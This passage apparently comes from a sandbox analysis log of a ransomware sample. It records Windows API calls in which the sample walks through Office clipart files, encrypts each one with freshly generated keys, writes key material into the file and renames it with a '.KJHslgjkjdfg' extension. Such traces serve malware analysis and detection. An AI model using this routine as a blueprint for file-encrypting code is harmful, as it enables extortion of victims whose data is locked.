(hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.658] GetProcessHeap () returned 0x2a0000 [0161.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.658] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.658] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.658] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.658] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.658] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.658] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.659] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.659] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.659] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.659] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfcff, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfcff, lpOverlapped=0x0) returned 1 [0161.660] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfd00, dwBufLen=0xfd00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfd00) returned 1 [0161.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.661] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfd00, lpOverlapped=0x0) returned 1 [0161.661] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.661] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfdd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.661] SetEndOfFile (hFile=0x114) returned 1 [0161.664] GetProcessHeap () returned 0x2a0000 [0161.664] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.664] GetProcessHeap () returned 0x2a0000 [0161.664] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.kjhslgjkjdfg")) returned 1 [0161.665] CloseHandle (hObject=0x114) returned 1 [0161.665] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xabad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099167.JPG", cAlternateFileName="")) returned 1 [0161.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.666] GetProcessHeap () returned 0x2a0000 [0161.666] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.666] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.666] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.666] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0161.668] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.668] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.668] GetProcessHeap () returned 0x2a0000 [0161.668] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.668] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.668] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.668] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.668] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.668] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.669] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.669] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.669] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.669] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.669] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xabad, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xabad, lpOverlapped=0x0) returned 1 [0161.670] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xabb0, dwBufLen=0xabb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xabb0) returned 1 [0161.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.671] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xabb0, lpOverlapped=0x0) returned 1 [0161.671] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.671] SetEndOfFile (hFile=0x114) returned 1 [0161.673] GetProcessHeap () returned 0x2a0000 [0161.673] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.673] GetProcessHeap () returned 0x2a0000 [0161.673] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099167.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099167.jpg.kjhslgjkjdfg")) returned 1 [0161.675] CloseHandle (hObject=0x114) returned 1 [0161.675] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ed3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099168.JPG", cAlternateFileName="")) returned 1 [0161.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.676] GetProcessHeap () returned 0x2a0000 [0161.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.676] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.676] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0161.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.681] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.681] GetProcessHeap () returned 0x2a0000 [0161.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.681] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.682] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.682] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.682] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.682] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.682] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.682] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.682] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ed3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ed3, lpOverlapped=0x0) returned 1 [0161.684] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ee0) returned 1 [0161.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.684] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ee0, lpOverlapped=0x0) returned 1 [0161.684] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.685] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.685] SetEndOfFile (hFile=0x114) returned 1 [0161.687] GetProcessHeap () returned 0x2a0000 [0161.687] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.687] GetProcessHeap () returned 0x2a0000 [0161.688] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.kjhslgjkjdfg")) returned 1 [0161.689] CloseHandle (hObject=0x114) returned 1 [0161.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099169.WMF", cAlternateFileName="")) returned 1 [0161.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.690] GetProcessHeap () returned 0x2a0000 [0161.690] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.690] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.690] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.690] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.690] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.690] GetProcessHeap () returned 0x2a0000 [0161.690] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.690] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.690] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.691] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.693] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.693] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.693] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.693] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.694] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.694] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.694] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x27d0, lpOverlapped=0x0) returned 1 [0161.695] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27d0, dwBufLen=0x27d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x27d0) returned 1 [0161.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.695] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x27d0, lpOverlapped=0x0) returned 1 [0161.695] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.696] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x28a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.696] SetEndOfFile (hFile=0x114) returned 1 [0161.698] GetProcessHeap () returned 0x2a0000 [0161.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.699] GetProcessHeap () returned 0x2a0000 [0161.699] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.kjhslgjkjdfg")) returned 1 [0161.700] CloseHandle (hObject=0x114) returned 1 [0161.700] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0161.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.701] GetProcessHeap () returned 0x2a0000 [0161.701] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.701] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.701] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.701] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.704] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.704] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.704] GetProcessHeap () returned 0x2a0000 [0161.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.704] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.704] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.704] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.704] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.705] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.705] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.705] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.705] WriteFile (in: 